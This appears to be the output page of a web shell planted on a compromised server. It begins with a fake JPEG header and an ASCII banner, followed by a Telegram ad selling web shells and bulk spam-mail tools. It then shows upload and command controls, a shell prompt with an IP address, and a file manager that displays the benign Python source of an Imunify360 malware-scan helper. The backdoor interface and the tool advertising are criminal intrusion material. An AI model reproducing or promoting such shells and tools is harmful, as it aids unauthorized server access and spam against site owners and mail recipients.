����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
import json
import os
from subprocess import check_output

from restore_infected import helpers

AGENT_BIN = '/usr/bin/imunify360-agent'


def agent_malware_cmd(*args):
    cmd = [AGENT_BIN, 'malware'] + list(args) + ['--json']
    out = check_output(cmd)
    out = out.decode('utf-8', 'ignore')

    try:
        return json.loads(out)
    except (json.JSONDecodeError, TypeError):
        return None


def agent_start_scan(file_name):
    agent_malware_cmd('on-demand', 'start', '--path', file_name)


def agent_scan_running(file_name):
    status_json = agent_malware_cmd('on-demand', 'status')
    status_json = status_json.get('items', status_json)
    status = status_json.get('status', 'stopped')

    if status == 'running' and status_json.get('path', '') == file_name:
        return True

    return False


def agent_is_suspicious(file_name):
    scan_result = agent_malware_cmd('suspicious', 'list',
                                    '--search', file_name)

    if scan_result is not None:
        for item in scan_result['items']:
            if item['file'] == file_name:
                return True

    return False


def await_scan_result(file_name):
    while agent_scan_running(file_name):
        pass


def scan(files):
    """
    Scan files for malware
    :param files: list of files to scan
    :return: list of malware detected files
    """
    if not os.path.exists(AGENT_BIN):
        helpers.warning("Can't find imunify360-agent binary, "
                        "malware scanning disabled",
                        once=True)
        return []

    infected = []

    for file_name in files:
        agent_start_scan(file_name)
        await_scan_result(file_name)
        if agent_is_suspicious(file_name):
            infected.append(file_name)

    return infected

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
backup_backends Folder 0755
__init__.py File 135 B 0644
backup_backends_lib.py File 9.54 KB 0644
cli.py File 8.93 KB 0644
config.py File 347 B 0644
helpers.py File 7.52 KB 0644
log.py File 2.33 KB 0644
package_manager.py File 2.54 KB 0644
restore.py File 6.92 KB 0644
safe_fileops.py File 4.66 KB 0644
scan.py File 1.76 KB 0644